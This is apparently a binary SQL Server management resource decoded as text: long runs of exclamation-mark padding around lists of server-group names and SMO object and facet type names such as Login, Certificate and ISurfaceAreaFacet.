!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z`
Zq@;,F^p8!!!!`r@O5v>DatabaseEngineServerGroup
vDHAnalysisServicesServerGroup
vFJReportingServicesServerGroup
vJNIntegrationServicesServerGroup
vRVSqlServerCompactEditionServerGroup
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Z`
Zs@P,s^r8!!!!`[tA4rA_p1ApplicationRole
p-AsymmetricKey
pAudit
p;AvailabilityDatabase
p5AvailabilityGroup
p9AvailabilityReplica
p;DatabaseReplicaState
p+BackupDevice
p	/BrokerPriority
p
-BrokerService
p)Certificate
p#Computer
p
'Credential
p=CryptographicProvider
p#Database
pGDatabaseAuditSpecification
p7DatabaseDdlTrigger
p+DatabaseRole
p#DataFile
p!Default
p)DeployedDac
p#Endpoint
p!Utility
p%FileGroup
p1FullTextCatalog
p-FullTextIndex
p3FullTextStopList
pAIAvailabilityGroupState
pEIDatabaseMaintenanceFacet
p3IDatabaseOptions
pEIDatabasePerformanceFacet
p ?IDatabaseSecurityFacet
p!-ILoginOptions
p"9IMultipartNameFacet
p#'INameFacet
p$-ITableOptions
p%+IUserOptions
p&+IViewOptions
p'Index
p(5IServerAuditFacet
p)EIServerConfigurationFacet
p*7IServerInformation
p+AIServerPerformanceFacet
p,KIServerProtocolSettingsFacet
p-;IServerSecurityFacet
p.5IServerSetupFacet
p/=IServerSelectionFacet
p01IServerSettings
p1gISurfaceAreaConfigurationForAnalysisServer
p2mISurfaceAreaConfigurationForReportingServices
p35ISurfaceAreaFacet
p4+LinkedServer
p5!LogFile
p6Login
p7)MessageType
p85PartitionFunction
p91PartitionScheme
p:%Processor
p;%PlanGuide
p<;RemoteServiceBinding
p=3ResourceGovernor
p>+ResourcePool
p?Rule
p@Schema
pA7SearchPropertyList
pBServer
pCCServerAuditSpecification
pD3ServerDdlTrigger
pE'ServerRole
pF1ServiceContract
pG+ServiceQueue
pH+ServiceRoute
pI%Statistic
pJ1StoredProcedure
pK+SymmetricKey
pL!Synonym
pM#Sequence
pNTable
pO!Trigger
pPUser
pQ;UserDefinedAggregate
pR9UserDefinedDataType
pS9UserDefinedFunction
pT;UserDefinedTableType
pU1UserDefinedType
pVView
pWVolume
pX-WorkloadGroup
pY9XmlSchemaCollection
pZEIDataFilePerformanceFacet
p[CILogFilePerformanceFacet
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!